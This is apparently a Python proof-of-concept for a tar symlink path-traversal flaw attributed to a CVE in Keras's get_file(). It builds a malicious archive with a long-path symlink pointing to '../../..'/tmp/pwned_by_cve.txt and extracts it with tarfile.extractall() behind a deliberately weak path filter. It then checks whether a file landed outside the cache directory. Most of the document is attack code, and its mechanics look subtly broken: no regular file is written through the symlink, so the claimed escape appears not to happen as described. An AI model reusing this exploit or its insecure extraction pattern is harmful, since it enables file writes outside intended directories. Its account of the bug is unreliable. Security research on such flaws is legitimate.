Vulnerable code sample

import os
import tarfile
import tempfile
import pathlib

# This function simulates the naive path filtering that occurs before extraction.
# It checks if the resolved path of a member is within the extraction directory.
# However, this check is flawed because it doesn't properly handle symlinks
# that might point outside the directory, which tarfile.extractall() will follow.
def filter_safe_paths(members, extract_path):
    """
    A simulated, flawed path filter similar to the one described in the CVE.
    """
    base_path = os.path.abspath(extract_path)
    for member in members:
        member_path = os.path.join(base_path, member.name)
        # Naively check if the path appears to be within the extraction directory.
        # This check is insufficient for symlinks whose targets are resolved
        # during the actual extraction process.
        if not os.path.abspath(member_path).startswith(base_path):
            raise IOError(f"Path is outside the extraction directory: {member.name}")
    print("[INFO] Pre-extraction path filter passed successfully (this is the flaw).")


# This function represents the vulnerable keras.utils.get_file() logic.
def get_file_vulnerable(fname, extract_path):
    """
    A function demonstrating the vulnerable extraction logic.
    It uses a flawed pre-extraction check and then calls tarfile.extractall()
    without the security-critical `filter='data'` parameter.
    """
    print(f"[INFO] Opening tar archive: {fname}")
    with tarfile.open(fname, "r") as tar:
        # 1. Keras attempts to filter paths BEFORE extraction. This is the flawed check.
        # The check will pass because the symlink's name itself is safe.
        filter_safe_paths(tar.getmembers(), extract_path)

        # 2. The vulnerable call to extractall(). It does not use the `filter='data'`
        # parameter (introduced in Python 3.12). The OS will resolve the symlink
        # during this step, and because the path is long, it can trigger
        # resolution failures that bypass security, writing the file outside `extract_path`.
        print("[INFO] Calling vulnerable tar.extractall() without a secure filter...")
        tar.extractall(path=extract_path)
        print(f"[INFO] Extraction completed.")


def create_malicious_tar(output_filename):
    """
    Creates a malicious tar file containing a symlink that points outside
    the intended extraction directory. This simulates the exploit payload.
    The long path in the symlink name is meant to represent the PATH_MAX
    condition described in the CVE.
    """
    # A very long directory name to simulate the PATH_MAX bug trigger condition.
    # The OS might truncate path resolution, leading to the bypass.
    long_path_segment = "A" * 250
    
    # The symlink will point to a file outside the intended cache directory.
    # This is a classic path traversal payload.
    symlink_target = "../../../../../../../../../../../tmp/pwned_by_cve.txt"
    symlink_name = f"long_path/{long_path_segment}/symlink_to_outside"

    with tempfile.TemporaryDirectory() as temp_dir:
        # Create the directory structure for the symlink inside the temp build dir
        os.makedirs(os.path.join(temp_dir, os.path.dirname(symlink_name)), exist_ok=True)
        
        # Create the symlink inside our temporary build directory
        symlink_path = os.path.join(temp_dir, symlink_name)
        os.symlink(symlink_target, symlink_path)

        # Create the tar file containing this malicious symlink
        print(f"[SETUP] Creating malicious tar file at: {output_filename}")
        with tarfile.open(output_filename, "w") as tar:
            # Add the symlink to the archive. tarfile adds the link itself,
            # not the file it points to.
            tar.add(symlink_path, arcname=symlink_name)
    
    print(f"[SETUP] Malicious tar file created. It contains a symlink '{symlink_name}' -> '{symlink_target}'")


if __name__ == "__main__":
    # The location where the exploit will write a file.
    malicious_output_file = "/tmp/pwned_by_cve.txt"

    # Ensure the target file doesn't exist before the exploit.
    if os.path.exists(malicious_output_file):
        os.remove(malicious_output_file)

    with tempfile.TemporaryDirectory() as cache_dir, tempfile.TemporaryDirectory() as work_dir:
        malicious_tar_path = os.path.join(work_dir, "malicious.tar")

        # 1. Create the malicious tar file.
        create_malicious_tar(malicious_tar_path)
        print("-" * 50)

        # 2. Check that the target file does not exist yet.
        print(f"[VERIFY] Checking if '{malicious_output_file}' exists before extraction...")
        assert not os.path.exists(malicious_output_file), "FAIL: Malicious file exists before exploit."
        print(f"[OK] File does not exist.")
        print("-" * 50)

        # 3. Run the vulnerable extraction function.
        print(f"[EXPLOIT] Running the vulnerable function to extract into: {cache_dir}")
        try:
            get_file_vulnerable(malicious_tar_path, cache_dir)
        except Exception as e:
            print(f"[ERROR] An exception occurred: {e}")
            # In a real scenario, the pre-filter might raise an error, but here we expect it to pass.
        
        print("-" * 50)

        # 4. Verify that the exploit succeeded.
        print(f"[VERIFY] Checking if '{malicious_output_file}' was created by the exploit...")
        if os.path.exists(malicious_output_file):
            print("[SUCCESS] Vulnerability Confirmed: File was written outside the cache directory.")
            print(f"           Location: {malicious_output_file}")
            # Clean up the created file
            os.remove(malicious_output_file)
        else:
            print("[FAIL] Vulnerability Not Triggered: Malicious file was not created.")